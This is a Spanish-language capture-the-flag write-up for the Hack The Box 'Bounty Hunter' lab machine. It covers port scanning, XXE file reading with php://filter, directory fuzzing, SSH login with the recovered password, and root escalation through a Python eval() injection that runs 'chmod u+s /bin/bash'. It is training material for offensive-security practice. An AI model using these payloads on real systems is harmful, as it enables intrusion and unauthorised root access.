Bounty Hunter - Hack The Box

Esta es una máquina un poco más dificil que las anteriores, siendo que para poder entrar a la máquina por el servicio SSH usaremos BurpSuite para obtener las credenciales desde la página web aplicando varias inyecciones XXE, una vez dentro, nos aprovecharemos de los permisos sobre un script en Python para poder escalar privilegios como root, aquí el análisis del código es vital y de suma importancia, pues debemos saber algo de Python y desarrollo web o al menos entender lo que hacen ciertas partes de la máquina.

Herramientas utilizadas:

  • ping
  • nmap
  • burpsuite
  • ssh
  • python3
  • sudo
  • chmod
  • bash






Recopilación de Información


Traza ICMP

Veamos si la máquina está conectada, además vamos a analizar el TTL para saber que Sistema Operativo usa:

ping -c 4 10.10.11.100            
PING 10.10.11.100 (10.10.11.100) 56(84) bytes of data.
64 bytes from 10.10.11.100: icmp_seq=1 ttl=63 time=133 ms
64 bytes from 10.10.11.100: icmp_seq=2 ttl=63 time=132 ms
64 bytes from 10.10.11.100: icmp_seq=3 ttl=63 time=132 ms
64 bytes from 10.10.11.100: icmp_seq=4 ttl=63 time=134 ms

--- 10.10.11.100 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2999ms
rtt min/avg/max/mdev = 131.889/132.734/133.827/0.714 ms

Por el TTL vemos que la máquina usa Linux. Ahora vamos a hacer un escaneo de puertos.

Escaneo de Puertos

Veamos que puertos estan abiertos:

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.100 -oG allPorts            
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-20 11:12 CST
Initiating SYN Stealth Scan at 11:12
Scanning 10.10.11.100 [65535 ports]
Discovered open port 22/tcp on 10.10.11.100
Discovered open port 80/tcp on 10.10.11.100
Completed SYN Stealth Scan at 11:13, 23.57s elapsed (65535 total ports)
Nmap scan report for 10.10.11.100
Host is up, received user-set (0.43s latency).
Scanned at 2023-01-20 11:12:45 CST for 23s
Not shown: 33862 closed tcp ports (reset), 31671 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 23.66 seconds
           Raw packets sent: 115632 (5.088MB) | Rcvd: 34152 (1.366MB)
Parámetros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Solamente hay dos puertos abiertos, uno con SSH y otro con web abierto. Realicemos un escaneo de servicios, a ver cuáles son.

Escaneo de Servicios

nmap -sC -sV -p22,80 10.10.11.100 -oN targeted                               
Starting Nmap 7.93 ( https://nmap.org ) at 2023-01-20 11:18 CST
Nmap scan report for 10.10.11.100
Host is up (0.13s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 d44cf5799a79a3b0f1662552c9531fe1 (RSA)
|   256 a21e67618d2f7a37a7ba3b5108e889a6 (ECDSA)
|_  256 a57516d96958504a14117a42c1b62344 (ED25519)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Bounty Hunters
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.39 seconds
Parámetros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

De momento no tenemos credeciales para loguearnos en SSH, vamos a revisar la pagina web que esta en el puerto 80.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Viendo todos los botones interactivos de la página, algunos no funcionan y otros no sabemos que hacen, con excepción del que dice Portal, una vez le demos click nos redirige a una subpágina:

Al parecer esta sección no está completa y nos pide ir a otra subpágina, vamos a ver que hay.

Una vez dentro, quizá podamos tratar de inyectar código, probemos utilizando la herramienta BurpSuite y nos vamos a utilizar la siguiente página como guía del XML External Entity (XXE) Injection:

Pero ¿qué es XML External Entity (XXE) Injection?

XML External Entity (XXE) Injection
Es una vulnerabilidad de seguridad web que permite a un atacante interferir con el procesamiento de datos XML de una aplicación. A menudo, permite que un atacante vea archivos en el sistema de archivos del servidor de aplicaciones e interactúe con cualquier sistema externo o de back-end al que pueda acceder la propia aplicación.


Todo esto viene explicado en la página web guía de BurpSuite

Configurando BurpSuite

Antes de continuar debemos configurar algunas cosas para que BurpSuite vaya sin problemas:

  • Instala en el navegador la herramienta FoxyProxy

  • Una vez instalado, ve a la sección Add para agregar un proxy que usara BurpSuite.

  • Configúralo como la siguiente imagen:

Esto lo hacemos porque BurpSuite tiene un proxy configurado por defecto:

  • Una vez configurado, ya debería aparecer cuando des click en el FoxyProxy

  • Instala el certificado CA en tu navegador, es posible que BurpSuite automáticamente te lo pida y te dé pasos a seguir, si usas FireFox aquí estan los pasos: Guía para Instalar Certificado CA

  • Activa la intercepción en BurpSuite y activa el FoxyProxy.

Ahora sí, ya estamos listos para trabajar.




Explotación de Vulnerabilidades


Aplicando XXE Injection

En la última subpágina, llena los campos con lo que quieras y dale al botón submit para que BurpSuite pueda interceptar la petición, ósea que debemos obtener una petición POST, que será con el que vamos a seguir trabajando:

Una vez obtenido, vamos a mandar todo a la sección Repeater:

Y del Repeater vamos a mandar la data al Decoder:

Ya en el Decoder lo que haremos será convertir la data que viene hasta abajo a base64:

Bien, según la página guía de BurpSuite, aquí podemos inyectar código para que nos muestre la carpeta /etc/passwd de la máquina víctima:

Una vez que la data este en base64, lo copiamos, nos vamos al Repeater, cambiamos la data por la nueva que acabamos de obtener y enviamos la petición para ver que obtenemos.

IMPORTANTE: para que funcione hay que convertir la data a URL code, solamente seleccionamos la nueva data y oprimimos ctrl + u y ya quedara URL code.

Intentalo:

Vaya, al parecer podemos vulnerar la página de esta forma:

Incluso, si analizamos bien lo que nos muestra, en la parte de abajo, podemos ver un usuario llamado Development, esto nos puede servir más adelante.

Dumper:/:/usr/sbin/nologin
development:x:1000:1000:Development:/home/development:/bin/bash

Pero, con esta subpágina no podremos hacer mucho. Ahora lo que vamos a hacer es buscar más subpáginas ocultas, es tiempo de hacer FUZZING.

Fuzzing

Para hacer el fuzzing usaremos la herramienta wfuzz, para usarla debemos indicarle bastantes cosillas:

wfuzz -c --hc=404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.100/FUZZ.php
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.11.100/FUZZ.php
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                      
=====================================================================

000000015:   200        388 L    1470 W     25168 Ch    "index"                                                                      
000000368:   200        5 L      15 W       125 Ch      "portal"                                                                     
000000848:   200        0 L      0 W        0 Ch        "db"                                                                         
000000014:   403        9 L      28 W       277 Ch      "http://10.10.11.100/.php"                                                   
000000010:   200        388 L    1470 W     25168 Ch    "#"                                                                          
^C /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:80: UserWarning:Finishing pending requests...

Total time: 18.81724
Processed Requests: 5620
Filtered Requests: 5603
Requests/sec.: 298.6621
Parámetros Descripción
-c Para ver el resultado en un formato colorido.
–hc Para no mostrar un código de estado en los resultados.
-t Para indicar la cantidad de hilos a usar.
-w Para indicar el diccionario a usar en el fuzzing.


Vemos una subpágina a la que no teniamos acceso llama db, vamos a checar de que va dicha subpágina.

Nada, no muestra nada, pero eso quiere decir que si existe y que podemos accesar a ella de alguna manera. Es momento de usar BurpSuite otra vez.

Estando en el Decoder, podemos indicar en la inyección de código, que podamos ver ciertas páginas dependiendo del wrapper que estas usan. Como en este caso se usa PHP, podemos indicarle que nos liste un archivo de PHP en base64 para que nosotros después podamos deencodear esa data desde la terminal.

Vámonos por pasos:

  • php://filter/convert.base64-encode/ -> Con este código podemos encodear archivos de PHP a base64.
  • php://filter/convert.base64-encode/resource=db.php -> Con resourse le agregamos la subpagina y ya podemos encodearlo
  • Una vez más, mandamos todo a la data del Repeater, lo ponemos como URL code y lo mandamos.

Si seleccionamos el resultado que nos arrojó en BurpSuite, del lado derecho nos mostrara como se vería sino estuviera en base64:

Ojito, nos da una contraseña, recordemos que ya tenemos un usuario, así que intentemos meternos al servicio SSH que está activo en la máquina para ver si podemos accesar:

ssh development@10.10.11.100
development@10.10.11.100's password: 
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-80-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Fri 20 Jan 2023 08:14:31 PM UTC

  System load:           0.0
  Usage of /:            24.5% of 6.83GB
  Memory usage:          16%
  Swap usage:            0%
  Processes:             214
  Users logged in:       0
  IPv4 address for eth0: 10.10.11.100
  IPv6 address for eth0: dead:beef::250:56ff:feb9:9514


0 updates can be applied immediately.


The list of available updates is more than a week old.
To check for new updates run: sudo apt update

Last login: Wed Jul 21 12:04:13 2021 from 10.10.14.8
development@bountyhunter:~$ 




Post Explotación


¡¡ESTAMOS DENTRO!! Es hora de buscar que nos puede ser útil:

development@bountyhunter:~$ ls
contract.txt  user.txt
development@bountyhunter:~$ cat contract.txt 
Hey team,

I'll be out of the office this week but please make sure that our contract with Skytrain Inc gets completed.

This has been our first job since the "rm -rf" incident and we can't mess this up. Whenever one of you gets on please have a look at the internal tool they sent over. There have been a handful of tickets submitted that have been failing validation and I need you to figure out why.

I set up the permissions for you to test this. Good luck.

-- John

Ahí podemos ver la flag del usuario y un mensaje, este mensaje nos menciona que tenemos permisos especiales sobre un script para testear tickets. Si buscamos que archivos podemos usar que tengan permisos de administrador, vemos que hay un script en Python que podemos ejecutar con permiso de Sudoers, quizá podamos utilizarlo para convertirnos en root.

development@bountyhunter:~$ sudo -l
Matching Defaults entries for development on bountyhunter:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User development may run the following commands on bountyhunter:
    (root) NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py

Ahí se encuentra el script, y así se usa:

development@bountyhunter:~$ sudo -u root python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
xd
Wrong file type.

Es momento de analizar el script en Python.

Análisis de Script

Vamos a ir deshuesando este script y veremos que hace cada función:

  • En esta función lo que se hace es validar que el archivo sea .md
    Skytrain Inc Ticket Validation System 0.1
    Do not distribute this file.
    def load_file(loc):
    
      if loc.endswith(".md"):
          return open(loc, 'r')
      else:
          print("Wrong file type.")
          exit()
    

En la siguiente función se hace la validación del ticket:

def evaluate(ticketFile):
    #Evaluates a ticket to check for ireggularities.
    code_line = None
    for i,x in enumerate(ticketFile.readlines()):
        if i == 0:
            if not x.startswith("# Skytrain Inc"):
                return False
            continue
        if i == 1:
            if not x.startswith("## Ticket to "):
                return False
            print(f"Destination: {' '.join(x.strip().split(' ')[3:])}")
            continue
        if x.startswith("__Ticket Code:__"):
            code_line = i+1
            continue
        if code_line and i == code_line:
            if not x.startswith("**"):
                return False
            ticketCode = x.replace("**", "").split("+")[0]
            if int(ticketCode) % 7 == 4:
                validationNumber = eval(x.replace("**", ""))
                if validationNumber > 100:
                    return True
                else:
                    return False
    return False

La función lee el ticket, ósea el archivo .md, y debe contener dos cosas principalmente:

  • Que el archivo empiece con el siguiente comentario:
    if not x.startswith("# Skytrain Inc"):
                  return False
    
  • Que incluya también el siguiente comentario:
    if not x.startswith("## Ticket to "):
                  return False
    
  • Y por último dicho ticket debe incluir lo siguiente:
    if x.startswith("__Ticket Code:__"):
              code_line = i+1
              continue
    

Creando Ticket que Modifica la Bash

Ahora lo que haremos, será crear un script que valide un ticket y que por debajo, modifique los permisos de la Bash para que podamos usarla, sin ser el administrador. Para hacerlo, hacemos lo siguiente:

Entonces el ticket quedaría así para que sea valido:

# Skytrain Inc
## Ticket to 
__Ticket Code:__

Ahora bien, aquí viene la parte en la que medio coco se me quemo porque no entendía bien que hacía. El ticket debe iniciar con lo siguiente:

if not x.startswith("**"):
                return False

Es decir, que va a validar que empice con dos asteriscos, asi: **

La siguiente parte va a reemplazar los asteriscos por una cadena vacia, va a dividir la cadena de texto con .split en donde tenga un signo + para quedarse solamente con la parte izquierda del ticket:

ticketCode = x.replace("**", "").split("+")[0]

Se entiende mejor si lo muestro en código:

python3                                                                                                           
Python 3.11.2 (main, Feb 12 2023, 00:48:52) [GCC 12.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> x = "** kpdos"
>>> x.replace("**", "")
' kpdos'
>>> x = "** kpdos + cosasxd"
>>> x.replace("**", "").split("+")
[' kpdos ', ' cosasxd']
>>> x.replace("**", "").split("+")[0]
' kpdos '

Bien, la siguiente parte va a convertir el código del ticket en número, va a dividir lo que salga entre 7 y el resultado debe dar un residuo de 4:

if int(ticketCode) % 7 == 4:

Un número que nos sirve será el 11, probémoslo:

>>> x = "** 11 + cosasxd"
>>> int(x.replace("**", "").split("+")[0]) % 7
4

Entonces si da 4, se hace una evaluación con:

validationNumber = eval(x.replace("**", ""))

Con la función eval(), si no está bien sanitizado este código, podemos inyectar código pues cuando hace la validación podemos pedirle que nos haga otra cosa aparte:

>>> eval("11+69")
80
>>> eval("11+69 and __import__('os').system('whoami')")
root
0

¿Y qué pasaria si lo probamos con nuestro ejemplo? Vamos a ver:

>>> x = "** 11 + 80 and __import__('os').system('whoami')"
>>> int(x.replace("**", "").split("+")[0]) % 7
4
>>> eval(x.replace("**", ""))
root
0

Ufff ahora sabemos cómo inyectar código en la máquina, vamos a crear un archivo en un directorio, por ejemplo, el directorio /tmp y agregamos lo que debe llevar el archivo .md:

development@bountyhunter:~$ cd /tmp
development@bountyhunter:/tmp$ nano prueba.md

Adentro del archivo prueba.md:

# Skytrain Inc
## Ticket to 
__Ticket Code:__
** 11 + 2 and __import__('os').system('chmod u+s /bin/bash')

El comando chmod u+s /bin/bash es para que podamos iniciar Bash como root.

Probamos el script de Python y ya deberíamos poder iniciar un Bash como root:

development@bountyhunter:/tmp$ sudo -u root python3.8 /opt/skytrain_inc/ticketValidator.py
Please enter the path to the ticket file.
/tmp/prueba.md
Destination: 
Invalid ticket.

Comprobamos la Bash:

development@bountyhunter:/tmp$ ls -l /bin/bash
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
development@bountyhunter:/tmp$ which bash | xargs ls -l
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /usr/bin/bash

¡Y ya está! Solo debemos iniciar la consola Bash para buscar la flag y terminamos.

development@bountyhunter:/tmp$ bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# ls
root.txt  snap
bash-5.0# exit
exit



  • https://portswigger.net/web-security/xxe
  • https://www.youtube.com/watch?v=egcvKwYpi0g
  • https://www.youtube.com/watch?v=5axsDhumfhU


FIN